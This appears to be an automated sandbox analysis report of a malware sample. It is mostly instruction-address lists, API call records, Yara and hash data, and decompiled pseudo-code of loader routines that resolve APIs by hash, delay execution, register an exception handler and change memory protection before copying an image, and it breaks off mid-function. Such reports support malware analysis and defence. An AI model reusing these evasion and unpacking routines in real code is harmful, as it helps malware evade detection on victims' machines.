                                                                                                                                              0x6ebe0ab1
                                                                                                                                              0x6ebe0ab7
                                                                                                                                              0x6ebe0ab7
                                                                                                                                              0x6ebe0ab9
                                                                                                                                              0x6ebe0abc
                                                                                                                                              0x6ebe0abc
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0ab9
                                                                                                                                              0x6ebe0aac
                                                                                                                                              0x6ebe0aaf
                                                                                                                                              0x6ebe0ab5
                                                                                                                                              0x6ebe0ab5
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0ab5
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0aaf
                                                                                                                                              0x6ebe0a3e
                                                                                                                                              0x6ebe0a40
                                                                                                                                              0x6ebe0a7f
                                                                                                                                              0x6ebe0a82
                                                                                                                                              0x6ebe0df4
                                                                                                                                              0x6ebe0df9
                                                                                                                                              0x6ebe0dfe
                                                                                                                                              0x6ebe0e1d
                                                                                                                                              0x6ebe0e1d
                                                                                                                                              0x6ebe0e27
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0e27
                                                                                                                                              0x6ebe0e00
                                                                                                                                              0x6ebe0e04
                                                                                                                                              0x6ebe0e06
                                                                                                                                              0x6ebe0e0d
                                                                                                                                              0x6ebe0e0d
                                                                                                                                              0x6ebe0e13
                                                                                                                                              0x6ebe0e13
                                                                                                                                              0x6ebe0e15
                                                                                                                                              0x6ebe0e18
                                                                                                                                              0x6ebe0e18
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0e15
                                                                                                                                              0x6ebe0e08
                                                                                                                                              0x6ebe0e0b
                                                                                                                                              0x6ebe0e11
                                                                                                                                              0x6ebe0e11
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0e11
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0e0b
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0a88
                                                                                                                                              0x6ebe0a46
                                                                                                                                              0x6ebe0a4b
                                                                                                                                              0x6ebe0a50
                                                                                                                                              0x6ebe0a6f
                                                                                                                                              0x6ebe0a6f
                                                                                                                                              0x6ebe0a79
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0a79
                                                                                                                                              0x6ebe0a52
                                                                                                                                              0x6ebe0a56
                                                                                                                                              0x6ebe0a58
                                                                                                                                              0x6ebe0a5f
                                                                                                                                              0x6ebe0a5f
                                                                                                                                              0x6ebe0a65
                                                                                                                                              0x6ebe0a65
                                                                                                                                              0x6ebe0a67
                                                                                                                                              0x6ebe0a6a
                                                                                                                                              0x6ebe0a6a
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0a67
                                                                                                                                              0x6ebe0a5a
                                                                                                                                              0x6ebe0a5d
                                                                                                                                              0x6ebe0a63
                                                                                                                                              0x6ebe0a63
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0a63
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0a5d
                                                                                                                                              0x6ebe09f4
                                                                                                                                              0x6ebe09f6
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0a00
                                                                                                                                              0x6ebe0a05
                                                                                                                                              0x6ebe0a0a
                                                                                                                                              0x6ebe0a29
                                                                                                                                              0x6ebe0a29
                                                                                                                                              0x6ebe0a33
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0a33
                                                                                                                                              0x6ebe0a0c
                                                                                                                                              0x6ebe0a10
                                                                                                                                              0x6ebe0a12
                                                                                                                                              0x6ebe0a19
                                                                                                                                              0x6ebe0a19
                                                                                                                                              0x6ebe0a1f
                                                                                                                                              0x6ebe0a1f
                                                                                                                                              0x6ebe0a21
                                                                                                                                              0x6ebe0a24
                                                                                                                                              0x6ebe0a24
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0a21
                                                                                                                                              0x6ebe0a14
                                                                                                                                              0x6ebe0a17
                                                                                                                                              0x6ebe0a1d
                                                                                                                                              0x6ebe0a1d
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0a1d
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0a17
                                                                                                                                              0x6ebe0959
                                                                                                                                              0x6ebe095e
                                                                                                                                              0x6ebe0963
                                                                                                                                              0x6ebe0982
                                                                                                                                              0x6ebe0982
                                                                                                                                              0x6ebe098c
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe098c
                                                                                                                                              0x6ebe0965
                                                                                                                                              0x6ebe0969
                                                                                                                                              0x6ebe096b
                                                                                                                                              0x6ebe0972
                                                                                                                                              0x6ebe0972
                                                                                                                                              0x6ebe0978
                                                                                                                                              0x6ebe0978
                                                                                                                                              0x6ebe097a
                                                                                                                                              0x6ebe097d
                                                                                                                                              0x6ebe097d
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe097a
                                                                                                                                              0x6ebe096d
                                                                                                                                              0x6ebe0970
                                                                                                                                              0x6ebe0976
                                                                                                                                              0x6ebe0976
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0976
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe089a
                                                                                                                                              0x6ebe089c
                                                                                                                                              0x6ebe0b01
                                                                                                                                              0x6ebe0b06
                                                                                                                                              0x6ebe0b09
                                                                                                                                              0x6ebe0b0e
                                                                                                                                              0x6ebe0b10
                                                                                                                                              0x6ebe0b25
                                                                                                                                              0x6ebe0b28
                                                                                                                                              0x6ebe0bf6
                                                                                                                                              0x6ebe0bfe
                                                                                                                                              0x6ebe0c01
                                                                                                                                              0x6ebe0c16
                                                                                                                                              0x6ebe0c20
                                                                                                                                              0x6ebe0c20
                                                                                                                                              0x6ebe0c22
                                                                                                                                              0x6ebe0c24
                                                                                                                                              0x6ebe0c33
                                                                                                                                              0x6ebe0c3f
                                                                                                                                              0x6ebe0c43
                                                                                                                                              0x6ebe0c46
                                                                                                                                              0x6ebe0c49
                                                                                                                                              0x6ebe0c4c
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0c4c
                                                                                                                                              0x6ebe0b38
                                                                                                                                              0x6ebe0b4a
                                                                                                                                              0x6ebe0b4e
                                                                                                                                              0x6ebe0bda
                                                                                                                                              0x6ebe0bda
                                                                                                                                              0x6ebe0be0
                                                                                                                                              0x6ebe0beb
                                                                                                                                              0x6ebe0be2
                                                                                                                                              0x6ebe0be2
                                                                                                                                              0x6ebe0be2
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0be0
                                                                                                                                              0x6ebe0b5b
                                                                                                                                              0x6ebe0b5c
                                                                                                                                              0x6ebe0b5e
                                                                                                                                              0x6ebe0b64
                                                                                                                                              0x6ebe0fb3
                                                                                                                                              0x6ebe0fb8
                                                                                                                                              0x6ebe0fba
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0fc0
                                                                                                                                              0x6ebe0b7b
                                                                                                                                              0x6ebe0b7f
                                                                                                                                              0x6ebe0b84
                                                                                                                                              0x6ebe0b96
                                                                                                                                              0x6ebe0b9a
                                                                                                                                              0x6ebe0ba5
                                                                                                                                              0x6ebe0ba6
                                                                                                                                              0x6ebe0ba7
                                                                                                                                              0x6ebe0ba8
                                                                                                                                              0x6ebe0baa
                                                                                                                                              0x6ebe0bb5
                                                                                                                                              0x6ebe0e2d
                                                                                                                                              0x6ebe0e2d
                                                                                                                                              0x6ebe0bb5
                                                                                                                                              0x6ebe0bbb
                                                                                                                                              0x6ebe0bc4
                                                                                                                                              0x6ebe0e3f
                                                                                                                                              0x6ebe0e55
                                                                                                                                              0x6ebe0e57
                                                                                                                                              0x6ebe0e59
                                                                                                                                              0x6ebe0f94
                                                                                                                                              0x6ebe0f9b
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0f9b
                                                                                                                                              0x6ebe0e68
                                                                                                                                              0x6ebe0e76
                                                                                                                                              0x6ebe0e90
                                                                                                                                              0x6ebe0e92
                                                                                                                                              0x6ebe0e94
                                                                                                                                              0x6ebe0fa5
                                                                                                                                              0x6ebe0faa
                                                                                                                                              0x6ebe0fac
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0fae
                                                                                                                                              0x6ebe0ea8
                                                                                                                                              0x6ebe0eb3
                                                                                                                                              0x6ebe0ec2
                                                                                                                                              0x6ebe0ed4
                                                                                                                                              0x6ebe0ed6
                                                                                                                                              0x6ebe0ed8
                                                                                                                                              0x6ebe0ee5
                                                                                                                                              0x6ebe0ee5
                                                                                                                                              0x6ebe0ef5
                                                                                                                                              0x6ebe0f06
                                                                                                                                              0x6ebe0f0b
                                                                                                                                              0x6ebe0f0d
                                                                                                                                              0x6ebe0f0f
                                                                                                                                              0x6ebe0f16
                                                                                                                                              0x6ebe0f17
                                                                                                                                              0x6ebe0f17
                                                                                                                                              0x6ebe0f23
                                                                                                                                              0x6ebe0f44
                                                                                                                                              0x6ebe0f4d
                                                                                                                                              0x6ebe0f59
                                                                                                                                              0x6ebe0f65
                                                                                                                                              0x6ebe0f6a
                                                                                                                                              0x6ebe0f6f
                                                                                                                                              0x6ebe0f75
                                                                                                                                              0x6ebe0f75
                                                                                                                                              0x6ebe0f7a
                                                                                                                                              0x6ebe0f80
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0f86
                                                                                                                                              0x6ebe0f88
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0f88
                                                                                                                                              0x6ebe0bca
                                                                                                                                              0x6ebe0bca
                                                                                                                                              0x6ebe0bcf
                                                                                                                                              0x6ebe0bd5
                                                                                                                                              0x6ebe0bd5
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0bcf
                                                                                                                                              0x6ebe0bc4
                                                                                                                                              0x6ebe0898
                                                                                                                                              0x6ebe0808
                                                                                                                                              0x6ebe0809
                                                                                                                                              0x6ebe080b
                                                                                                                                              0x6ebe0811
                                                                                                                                              0x6ebe0dde
                                                                                                                                              0x6ebe0de3
                                                                                                                                              0x6ebe0de5
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0deb
                                                                                                                                              0x6ebe0828
                                                                                                                                              0x6ebe082c
                                                                                                                                              0x6ebe0831
                                                                                                                                              0x6ebe0847
                                                                                                                                              0x6ebe085e
                                                                                                                                              0x6ebe0862
                                                                                                                                              0x6ebe0c5a
                                                                                                                                              0x6ebe0c5a
                                                                                                                                              0x6ebe0862
                                                                                                                                              0x6ebe0868
                                                                                                                                              0x6ebe0871
                                                                                                                                              0x6ebe0c69
                                                                                                                                              0x6ebe0c7a
                                                                                                                                              0x6ebe0c7f
                                                                                                                                              0x6ebe0c81
                                                                                                                                              0x6ebe0c83
                                                                                                                                              0x6ebe0db4
                                                                                                                                              0x6ebe0db8
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0db8
                                                                                                                                              0x6ebe0c8f
                                                                                                                                              0x6ebe0cb4
                                                                                                                                              0x6ebe0cb6
                                                                                                                                              0x6ebe0cb8
                                                                                                                                              0x6ebe0dd0
                                                                                                                                              0x6ebe0dd5
                                                                                                                                              0x6ebe0dd7
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0dd9
                                                                                                                                              0x6ebe0cc9
                                                                                                                                              0x6ebe0cd7
                                                                                                                                              0x6ebe0cde
                                                                                                                                              0x6ebe0cdf
                                                                                                                                              0x6ebe0ce0
                                                                                                                                              0x6ebe0cf2
                                                                                                                                              0x6ebe0cf4
                                                                                                                                              0x6ebe0cf6
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0cfe
                                                                                                                                              0x6ebe0d19
                                                                                                                                              0x6ebe0d1b
                                                                                                                                              0x6ebe0d1d
                                                                                                                                              0x6ebe0dc2
                                                                                                                                              0x6ebe0dc7
                                                                                                                                              0x6ebe0dc9
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0dcb
                                                                                                                                              0x6ebe0d23
                                                                                                                                              0x6ebe0d2a
                                                                                                                                              0x6ebe0d2e
                                                                                                                                              0x6ebe0d99
                                                                                                                                              0x6ebe0d99
                                                                                                                                              0x6ebe0d9b
                                                                                                                                              0x6ebe0da2
                                                                                                                                              0x6ebe0da2
                                                                                                                                              0x6ebe0da8
                                                                                                                                              0x6ebe0da8
                                                                                                                                              0x6ebe0daa
                                                                                                                                              0x6ebe0daf
                                                                                                                                              0x6ebe0daf
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0daa
                                                                                                                                              0x6ebe0d9d
                                                                                                                                              0x6ebe0da0
                                                                                                                                              0x6ebe0da6
                                                                                                                                              0x6ebe0da6
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0da6
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0da0
                                                                                                                                              0x6ebe0d30
                                                                                                                                              0x6ebe0d30
                                                                                                                                              0x6ebe0d32
                                                                                                                                              0x6ebe0d3e
                                                                                                                                              0x6ebe0d43
                                                                                                                                              0x6ebe0d45
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0d47
                                                                                                                                              0x6ebe0d4b
                                                                                                                                              0x6ebe0d52
                                                                                                                                              0x6ebe0d53
                                                                                                                                              0x6ebe0d54
                                                                                                                                              0x6ebe0d56
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0d58
                                                                                                                                              0x6ebe0d5a
                                                                                                                                              0x6ebe0d61
                                                                                                                                              0x6ebe0d61
                                                                                                                                              0x6ebe0d67
                                                                                                                                              0x6ebe0d67
                                                                                                                                              0x6ebe0d69
                                                                                                                                              0x6ebe0d6e
                                                                                                                                              0x6ebe0d6e
                                                                                                                                              0x6ebe0d77
                                                                                                                                              0x6ebe0d7c
                                                                                                                                              0x6ebe0d81
                                                                                                                                              0x6ebe0d87
                                                                                                                                              0x6ebe0d87
                                                                                                                                              0x6ebe0d8c
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0d8c
                                                                                                                                              0x6ebe0d5c
                                                                                                                                              0x6ebe0d5f
                                                                                                                                              0x6ebe0d65
                                                                                                                                              0x6ebe0d65
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0d65
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0d93
                                                                                                                                              0x6ebe0d93
                                                                                                                                              0x6ebe0d94
                                                                                                                                              0x6ebe0d94
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0d32
                                                                                                                                              0x6ebe0877
                                                                                                                                              0x6ebe087c
                                                                                                                                              0x6ebe0882
                                                                                                                                              0x6ebe0882
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0c59
                                                                                                                                              0x6ebe0c59
                                                                                                                                              0x6ebe0c59

                                                                                                                                              APIs
                                                                                                                                              • GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,00000000,150C05FC,150C05FC), ref: 6EBE085E
                                                                                                                                              • GetSystemInfo.KERNELBASE(?,8E844D1E,8E844D1E,?,?,360D0C74,?,?,1E55AAEC,?,?,C0092A94,00000000,80000002,00000000,-000000FC), ref: 6EBE0C20
                                                                                                                                              • GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,00000000,00000000,150C05FC,150C05FC,00000000,150C05FC,150C05FC), ref: 6EBE0CB4
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Offset: 6EBD0000, based on PE: true
                                                                                                                                              • Associated: 00000002.00000002.684473274.000000006EBD0000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684559755.000000006EBEA000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684586638.000000006EBED000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: InformationToken$InfoSystem
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 298373132-0
                                                                                                                                              • Opcode ID: 84c04c3436cfff07886ce3e03d5bb1bb5b293261ca4f6748c07c9b4353d2ce4c
                                                                                                                                              • Instruction ID: a0bc3a0ba69173889ded0ad1a1d4af28c377f9ae63fa25a44db1fbe4c419c5b9
                                                                                                                                              • Opcode Fuzzy Hash: 84c04c3436cfff07886ce3e03d5bb1bb5b293261ca4f6748c07c9b4353d2ce4c
                                                                                                                                              • Instruction Fuzzy Hash: 5F22E7705183C19EE761DBA4C890BEF7FA9EF81388F10891CE894576A5EF31D809CB52
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 58%
                                                                                                                                              			E6EBE2234(void* __ecx, intOrPtr __edx, void* __esi) {
                                                                                                                                              				intOrPtr _v4;
                                                                                                                                              				intOrPtr _v20;
                                                                                                                                              				intOrPtr* _t5;
                                                                                                                                              				intOrPtr _t11;
                                                                                                                                              				intOrPtr* _t13;
                                                                                                                                              				intOrPtr* _t15;
                                                                                                                                              
                                                                                                                                              				_t11 = __edx;
                                                                                                                                              				if(__ecx == 0) {
                                                                                                                                              					 *_t15 = 0;
                                                                                                                                              					_v4 = 0;
                                                                                                                                              				} else {
                                                                                                                                              					 *_t15 = E6EBE3AF8(0xffffd8f0, 0xffffffff, __ecx, 0);
                                                                                                                                              					_v20 = _t11;
                                                                                                                                              				}
                                                                                                                                              				_t5 = E6EBE306C(0x60a28c5c, 0x11cab064, 0x60a28c5c, 0x60a28c5c);
                                                                                                                                              				_t13 = _t5;
                                                                                                                                              				if(_t13 != 0) {
                                                                                                                                              					_t5 =  *_t13(0, _t15); // executed
                                                                                                                                              				}
                                                                                                                                              				return _t5;
                                                                                                                                              			}









                                                                                                                                              0x6ebe2234
                                                                                                                                              0x6ebe2238
                                                                                                                                              0x6ebe2254
                                                                                                                                              0x6ebe2257
                                                                                                                                              0x6ebe223a
                                                                                                                                              0x6ebe2249
                                                                                                                                              0x6ebe224c
                                                                                                                                              0x6ebe224c
                                                                                                                                              0x6ebe2267
                                                                                                                                              0x6ebe226c
                                                                                                                                              0x6ebe2270
                                                                                                                                              0x6ebe2278
                                                                                                                                              0x6ebe2278
                                                                                                                                              0x6ebe227c

                                                                                                                                              APIs
                                                                                                                                              • NtDelayExecution.NTDLL(00000000,00000000,60A28C5C,60A28C5C,FFFFFFFF,FFFFFFFF,6EBD4B17,00000000,00000000,?), ref: 6EBE2278
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Offset: 6EBD0000, based on PE: true
                                                                                                                                              • Associated: 00000002.00000002.684473274.000000006EBD0000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684559755.000000006EBEA000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684586638.000000006EBED000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: DelayExecution
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 1249177460-0
                                                                                                                                              • Opcode ID: 2c9c5e460e6a6f6e58fad2ac9a5298f00f0cc66bf3291dc41720851ba70b474b
                                                                                                                                              • Instruction ID: be66cfe2b3fe4d241085404d84bbbe44fc4fea046d7f028026bb04095938d94f
                                                                                                                                              • Opcode Fuzzy Hash: 2c9c5e460e6a6f6e58fad2ac9a5298f00f0cc66bf3291dc41720851ba70b474b
                                                                                                                                              • Instruction Fuzzy Hash: 4AE065B054E343ADE74497A89C04B7F3AD8AF84750F208A2CB468D7584E77098418761
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 100%
                                                                                                                                              			E6EBE2820(void* __ecx, long __edx, void* __esi, long _a4, long _a8, void* _a12) {
                                                                                                                                              				long _v4;
                                                                                                                                              				void* _t8;
                                                                                                                                              				long _t10;
                                                                                                                                              				PVOID* _t19;
                                                                                                                                              
                                                                                                                                              				_v4 = __edx;
                                                                                                                                              				 *_t19 = __ecx;
                                                                                                                                              				if(E6EBE306C(0x60a28c5c, 0x414fdf7, 0x60a28c5c, 0x60a28c5c) == 0) {
                                                                                                                                              					L3:
                                                                                                                                              					_t8 =  *_t19;
                                                                                                                                              				} else {
                                                                                                                                              					_t10 = NtAllocateVirtualMemory(_a12, _t19, 0,  &_v4, _a4, _a8); // executed
                                                                                                                                              					if(_t10 == 0) {
                                                                                                                                              						goto L3;
                                                                                                                                              					} else {
                                                                                                                                              						_t8 = 0;
                                                                                                                                              					}
                                                                                                                                              				}
                                                                                                                                              				return _t8;
                                                                                                                                              			}







                                                                                                                                              0x6ebe2827
                                                                                                                                              0x6ebe2830
                                                                                                                                              0x6ebe283e
                                                                                                                                              0x6ebe2861
                                                                                                                                              0x6ebe2861
                                                                                                                                              0x6ebe2840
                                                                                                                                              0x6ebe2857
                                                                                                                                              0x6ebe285b
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe285d
                                                                                                                                              0x6ebe285d
                                                                                                                                              0x6ebe285d
                                                                                                                                              0x6ebe285b
                                                                                                                                              0x6ebe2866

                                                                                                                                              APIs
                                                                                                                                              • NtAllocateVirtualMemory.NTDLL(6EBE88E6,?,00000000,000000FF,6EBE88E6,6EBE88E6,60A28C5C,60A28C5C,?,?,6EBE88E6,00003000,00000004,000000FF), ref: 6EBE2857
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Offset: 6EBD0000, based on PE: true
                                                                                                                                              • Associated: 00000002.00000002.684473274.000000006EBD0000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684559755.000000006EBEA000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684586638.000000006EBED000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: AllocateMemoryVirtual
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 2167126740-0
                                                                                                                                              • Opcode ID: 1b6e0df76e67549dfb1e774fc107f98af224613b3e03ad2134b0c600fba901d1
                                                                                                                                              • Instruction ID: e741509d4ebf2b68a3ce0879f8248cf587ddc4243286de2dee2459e12006d345
                                                                                                                                              • Opcode Fuzzy Hash: 1b6e0df76e67549dfb1e774fc107f98af224613b3e03ad2134b0c600fba901d1
                                                                                                                                              • Instruction Fuzzy Hash: 45E03971209383AFEB09CA99CD24E7FBBE9EF84684F148C2DB494C6A50D730D8009761
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 37%
                                                                                                                                              			E6EBE3138(intOrPtr* __ecx) {
                                                                                                                                              				void* _t1;
                                                                                                                                              
                                                                                                                                              				_push(E6EBE34B0);
                                                                                                                                              				_push(1); // executed
                                                                                                                                              				_t1 =  *__ecx(); // executed
                                                                                                                                              				return _t1;
                                                                                                                                              			}




                                                                                                                                              0x6ebe3138
                                                                                                                                              0x6ebe313d
                                                                                                                                              0x6ebe313f
                                                                                                                                              0x6ebe3141

                                                                                                                                              APIs
                                                                                                                                              • RtlAddVectoredExceptionHandler.NTDLL(00000001,6EBE34B0,6EBE3128,60A28C5C,60A28C5C,?,6EBD6C99,00000000), ref: 6EBE313F
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.684498846.000000006EBD1000.00000020.00020000.sdmp, Offset: 6EBD0000, based on PE: true
                                                                                                                                              • Associated: 00000002.00000002.684473274.000000006EBD0000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684559755.000000006EBEA000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684586638.000000006EBED000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: ExceptionHandlerVectored
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 3310709589-0
                                                                                                                                              • Opcode ID: 118aeb37392cb402cac4396265abe3566a95c10ee08182caa36269fa60091087
                                                                                                                                              • Instruction ID: 7a8cd10f41809b39e50395d1e6414730dd3fcbfcc5074b2bafa679e5c95ac0e0
                                                                                                                                              • Opcode Fuzzy Hash: 118aeb37392cb402cac4396265abe3566a95c10ee08182caa36269fa60091087
                                                                                                                                              • Instruction Fuzzy Hash:
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 42%
                                                                                                                                              			E001E1D3C(void* __ebx, long __edi, long __esi, intOrPtr* _a4) {
                                                                                                                                              				char _v20;
                                                                                                                                              				intOrPtr _v24;
                                                                                                                                              				intOrPtr _v28;
                                                                                                                                              				intOrPtr _v32;
                                                                                                                                              				intOrPtr _v36;
                                                                                                                                              				intOrPtr _v40;
                                                                                                                                              				char _v44;
                                                                                                                                              				intOrPtr* _v48;
                                                                                                                                              				intOrPtr _v52;
                                                                                                                                              				intOrPtr _v56;
                                                                                                                                              				intOrPtr _v60;
                                                                                                                                              				intOrPtr _v64;
                                                                                                                                              				intOrPtr _v68;
                                                                                                                                              				void* _v72;
                                                                                                                                              				char* _v76;
                                                                                                                                              				int _v80;
                                                                                                                                              				long _v84;
                                                                                                                                              				long _v88;
                                                                                                                                              				DWORD* _v92;
                                                                                                                                              				intOrPtr _v96;
                                                                                                                                              				int _v100;
                                                                                                                                              				intOrPtr* _v104;
                                                                                                                                              				intOrPtr _v108;
                                                                                                                                              				intOrPtr _v112;
                                                                                                                                              				void* _v116;
                                                                                                                                              				intOrPtr _v120;
                                                                                                                                              				char* _v124;
                                                                                                                                              				intOrPtr _v128;
                                                                                                                                              				intOrPtr _v132;
                                                                                                                                              				intOrPtr _v136;
                                                                                                                                              				intOrPtr _v140;
                                                                                                                                              				intOrPtr _v144;
                                                                                                                                              				intOrPtr _v148;
                                                                                                                                              				signed int _v152;
                                                                                                                                              				signed int _v156;
                                                                                                                                              				intOrPtr _v160;
                                                                                                                                              				int _v164;
                                                                                                                                              				intOrPtr _v168;
                                                                                                                                              				intOrPtr _v172;
                                                                                                                                              				intOrPtr _v176;
                                                                                                                                              				char* _v180;
                                                                                                                                              				intOrPtr _v184;
                                                                                                                                              				intOrPtr _v188;
                                                                                                                                              				char _v192;
                                                                                                                                              				intOrPtr* _t141;
                                                                                                                                              				int _t148;
                                                                                                                                              				int _t156;
                                                                                                                                              				int _t160;
                                                                                                                                              				intOrPtr _t170;
                                                                                                                                              				int _t182;
                                                                                                                                              				unsigned int _t204;
                                                                                                                                              				intOrPtr _t224;
                                                                                                                                              				void* _t236;
                                                                                                                                              				intOrPtr _t239;
                                                                                                                                              				void* _t246;
                                                                                                                                              				intOrPtr* _t250;
                                                                                                                                              				intOrPtr _t258;
                                                                                                                                              				DWORD* _t271;
                                                                                                                                              				void* _t275;
                                                                                                                                              				intOrPtr* _t278;
                                                                                                                                              				intOrPtr* _t279;
                                                                                                                                              
                                                                                                                                              				_t141 = _a4;
                                                                                                                                              				_v20 = 0;
                                                                                                                                              				_t246 =  *((intOrPtr*)(_t141 + 0x28));
                                                                                                                                              				 *0x1e4418 = 1;
                                                                                                                                              				asm("movaps xmm0, [0x1e3010]");
                                                                                                                                              				asm("movups [0x1e4428], xmm0");
                                                                                                                                              				_v48 = _t141;
                                                                                                                                              				_v52 =  *((intOrPtr*)(_t141 + 0x38));
                                                                                                                                              				_v56 =  *((intOrPtr*)(_v48 + 0x18));
                                                                                                                                              				_v192 = _t246;
                                                                                                                                              				_v60 =  *((intOrPtr*)(_v48 + 0x10));
                                                                                                                                              				_v188 = _v52;
                                                                                                                                              				_v184 = 4;
                                                                                                                                              				_v180 =  &_v20;
                                                                                                                                              				_v64 =  *((intOrPtr*)(_t141 + 0x4c));
                                                                                                                                              				_v68 = 4;
                                                                                                                                              				_v72 = _t246;
                                                                                                                                              				_v76 =  &_v20;
                                                                                                                                              				_t148 = VirtualProtect(__ebx, __esi, __edi, _t271); // executed
                                                                                                                                              				_v80 = _t148;
                                                                                                                                              				_v192 = _v72;
                                                                                                                                              				_v188 = 0;
                                                                                                                                              				_v184 =  *((intOrPtr*)(_v48 + 0x38));
                                                                                                                                              				_v84 = 0x400;
                                                                                                                                              				_v88 = 2;
                                                                                                                                              				_v92 =  &_v20;
                                                                                                                                              				_v96 = 0;
                                                                                                                                              				E001E140D();
                                                                                                                                              				E001E17BE(_v72,  *((intOrPtr*)(_v48 + 8)), _v56);
                                                                                                                                              				E001E140D( *((intOrPtr*)(_v48 + 8)), 0, _v56);
                                                                                                                                              				_t156 = VirtualProtect(_v72, 0x400, 2, _v92); // executed
                                                                                                                                              				_t278 = _t275 - 0x90;
                                                                                                                                              				_t236 = _v72;
                                                                                                                                              				_t258 =  *((intOrPtr*)(_t236 + 0x3c));
                                                                                                                                              				_v100 = _t156;
                                                                                                                                              				_v104 = _v72 + 0x3c;
                                                                                                                                              				_v108 = _t236;
                                                                                                                                              				_v112 = _t258;
                                                                                                                                              				if(_t258 != 0) {
                                                                                                                                              					_v108 = _v72 + (_v112 + 0x0000ffff & 0x0000ffff) + 1;
                                                                                                                                              				}
                                                                                                                                              				_v168 = _v108;
                                                                                                                                              				if(_v60 != 0) {
                                                                                                                                              					_v144 = 0;
